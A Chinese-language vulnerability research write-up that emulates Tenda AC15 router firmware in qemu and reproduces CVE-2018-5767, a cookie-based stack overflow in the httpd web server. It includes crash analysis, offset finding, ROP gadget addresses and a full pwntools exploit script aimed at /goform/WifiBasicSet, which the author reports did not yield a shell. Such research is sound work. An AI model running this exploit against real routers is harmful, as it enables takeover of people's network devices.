https://down.tendacn.com/uploadfile/201401/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar

固件修复

1. 修复运行

首先拿到固件解包后,可以尝试使用qemu-arm-static使固件中的web服务运行

发现程序到welcome to这里就会卡住,我们可以将其拖到ida中进行分析卡住原因

根据字符串查找可以看到后面跟着一个循环,当check_network小于0时,便会一直执行sleep函数卡住,我们只需要用ida中的patch功能将其稍微修改一下,将汇编语句mov r3,r0 修改为mov r3,1 让其通过后续的判断比较 即可继续执行后续的流程

2. 监听IP修复

之后就可以通过qemu-arm-static运行了,但是会发现服务的监听ip是一个广播地址,而这个问题则会导致我们访问不到运行起来的web服务

继续打开ida分析,使用字符串搜索,确定问题所在位置

指向了函数sub_1a36c,其中ip得值最终归宿到a1来确定

那么便利用交叉引用来查看调用sub_1a36c的地方,只有第三处的调用时,向a1参数中传了值,继续跟进去

看到其值最终指向了g_lan_ip,由该变量来确定ip,而该变量则又是引入的一个全局变量

之后通过百度我了解到这个变量是从libcommon.so库引用过来的,即

1
check_network->getLanIfName()->get_eth_name(0)->br0

也就是说是从一个br0网卡上获取到的ip,因此我们只需要自己创建一个br0的网卡,修改ip为其它的值就可了

虚拟机 Ens33 192.168.10.0/24
主机 bridge102 192.168.10.0/24

创建虚拟网卡br0

sudo tunctl -t br0 -u da1sy

配置网卡br0 ip地址,同为10网段

sudo ifconfig br0 192.168.10.11 netmask 255.255.255.0

路由10网段流量通过ens33转发

route add -net 192.168.10.0/24 dev ens33

之后再次运行就可以得到正确的ip

最后在将web的页面复制到webroot目录中cp -r webroot_ro/* var/webroot 就可以正常访问了

漏洞分析

漏洞编号为Cve-2018-5767,是一个栈溢出的洞,具体问题出现在http程序的R7WebsSecurityHandler函数中

再上图中 将用户请求时传入的cookie password值,先通过strstr得到password的值到v42变量中,再通过sscanf格式化字符串保存到v35变量中

而v35开辟的栈空间有限,但却并未对v42变量的大小做长度限制,因此便造成了栈溢出

然后我们就需要来确定一下这个函数及password=在web服务中所处的位置了,

不过这里奇怪的是不清楚什么原因在我的机器上请求的url根本不存在password的cookie,但这并不影响我们的复现测试,随便请求个页面,手动填上cookie 一样可以造成溢出

随便发送了点数据测了一下,发现已经可以影响到程序终止了,且断在了0xf6623954

看上面寄存器也仅有r0和r3发生了改变,归根原因则可以试试用bt命令来回溯栈查看问题关键

继续运行不过这次要在0x2c5cc处下断点,可以看到程序在尝试访问r3寄存器中的地址,但是此时的r3寄存器值为0x6561616e 是一个非法的地址而导致的无法访问,从而使程序中断。

可以看到r3的值为naae,接下来我们尝试将naae字符串(452填充字符)换成一个程序内的合法地址,就可以控制pc寄存器了

但是此时的pc指向的是laae,也就是前面的字符串只需要在第444个字付处就可控制pc

继续修改payload如下,看一看到r11和pc都已经被控制了(最后的0x2cea8是随便填的一个合法地址)

1
2
3
4
payload = cyclic(444)
payload += "aaaa"
payload += "bbbb"
payload += p32(0x2CEA8)

控制了pc寄存器后,就可以开始构造rop链来执行system("/bin/sh")来返回shell了

但需要注意的是,我们现在直接可控的寄存器只有r4、r5、r6、r11、pc,但执行system函数的话则需要最基本的r0可控,用于做system的参数才可行,因此找system函数时同时也要注意前面对寄存器的操作是否满足

在ida中直接搜索后最终确定为返回到0x4af2c处,可以控制r4寄存器的值到r3上,再由r3传给r0刚刚好

之后就是binsh字符串的做参数的问题了由于该payload中不能使用\x00字符甚至连”/“使用了也会报错的原因,因此只能以bash来代替,且我将sh字符串存放到了栈中0xf6ffed38就是bash字符串的地址

1
2
3
4
payload = cyclic(432) 
payload += p32(0xf6ffed38)
payload += cyclic(8)
payload += "bash"

大致构造的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!usr/bin/python
from pwn import *
import requests

context.binary = "./bin/httpd"
libc = ELF("./lib/libc.so.0")
elf = ELF("./bin/httpd")
ip = "192.168.10.11:81"
url = "http://%s/goform/WifiBasicSet"%ip

sh = 0x000b1ddf
system_plt = 0xda94

gadget1 = 0x000a5f64 # mov r0, r6 ; pop {r4, r5, r6, pc}
gadget2 = 0x0000e510 # pop {r3, pc}

payload = cyclic(432)
payload += p32(0xf6ffed38)
payload += cyclic(8)
payload += "bash"
# payload += p32(0x3B0F8)
# payload += p32(0x3B0F4) # MOV R0, R3 ; command
payload += p32(0x4AF24) # ADD R3, R4, R3 ; "killall -9 cfmd"
payload += p32(0x2CEA8)
print(payload)
cookie = {"Cookie":"password=" + payload}
ret = requests.get(url=url,cookies=cookie)

最后尝试利用,好的 成功失败

虽然system已经将bash作为参数执行了,虽然在执行system函数过程中也没有产生任何错误,但就是无法getshell,这里我猜测可能是因为qemu环境的原因所导致

不过针对本次腾达路由器 总体的漏洞分析过程其实这些也差不多已经足够了

其中虽然消耗了我很多的时间,不过也是很有收获的。

所以就先到此为止,我们 下个漏洞见。